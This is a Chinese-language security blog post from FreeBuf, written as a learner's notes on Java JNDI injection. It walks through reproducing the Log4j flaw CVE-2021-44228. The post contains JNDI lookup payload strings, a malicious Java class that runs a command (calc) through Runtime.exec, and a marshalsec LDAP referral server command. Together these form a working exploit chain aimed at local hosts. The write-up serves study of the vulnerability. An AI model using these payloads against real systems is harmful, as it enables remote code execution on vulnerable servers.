freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java安全之jndi注入
J1ngyu 2022-05-14 12:54:37 232634
所属地 四川省

前言

小弟最近在学习java代码审计,写这篇文章的目的呢是记录下自己的学习过程,如果文章中有哪些地方不对的话还请大佬们多多斧正。

JNDI介绍

简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。

下面是官方的解释:

JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。

深入理解

JNDI中有两个方法:

  • bind()
  • lookup()

其中:bind()方法的作用是将名称绑定到对象里面,lookup()方法的作用是通过名字检索执行的对象,其中当lookup()方法的参数可控时,攻击者就可以将恶意的url传入参数加载恶意的类。

下面是JNDI cilent端漏洞代码:

Context ctx = new InitialContext();
ctx.lookup(url);

其中url参数可控,攻击者就可以构造payload:rmi://127.0.0.1:xxxx/payload 来加载恶意的类。

payload中看到了rmi,翻阅资料后对与RMI的解释是:RMI是一个基于序列化的Java远程方法调用机制,使用 RMI技术可以使一个 JVM中的对象,调用另一个 JVM 中的对象方法并获取调用结果。

简单理解应该就是可以通过cilent端远程访问服务端的类吧。


这里要构造恶意的RMI服务端,不得不了解新的知识:


在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

经典漏洞复现

这里小弟选择的是Apache log4j(CVE-2021-44228)来进行漏洞复现

漏洞代码如下:

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Poc {
    private static final Logger log = LogManager.getLogger();
    public static void main(String[] args) {
        log.error("${jndi:rmi://127.0.0.1:xxxx/xxxx}");
    }
}

编译一个恶意类j1ngyu.class

先在本地编写一个恶意java文件:

class Exploit {
    static {
        System.err.println("err");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

这个恶意文件就是用exec()打开计算机

下一步在本地开启一个ldap服务,

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888

再运行上面的漏洞代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
  public static final Logger logger = LogManager.getLogger();
  public static void main(String[] args) {
    logger.error("${jndi:ldap://xxxx:8888/j1ngyu}");
  }

这样恶意类就执行成功了。

1652529093_627f97c528bc1d84f68f3.png!small?1652529094593

结束语

这次JNDI注入学习还有很多地方没有理解到位,希望大佬们能够多多斧正。

# 渗透测试 # 黑客 # 漏洞分析 # 网络安全技术
本文为 J1ngyu 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
J1ngyu LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 5 关注者
DLL注入实现方式(附源码)
2023-12-26
脱钩实现免杀
2023-12-26
别太小看"静态免杀"
2023-12-26
文章目录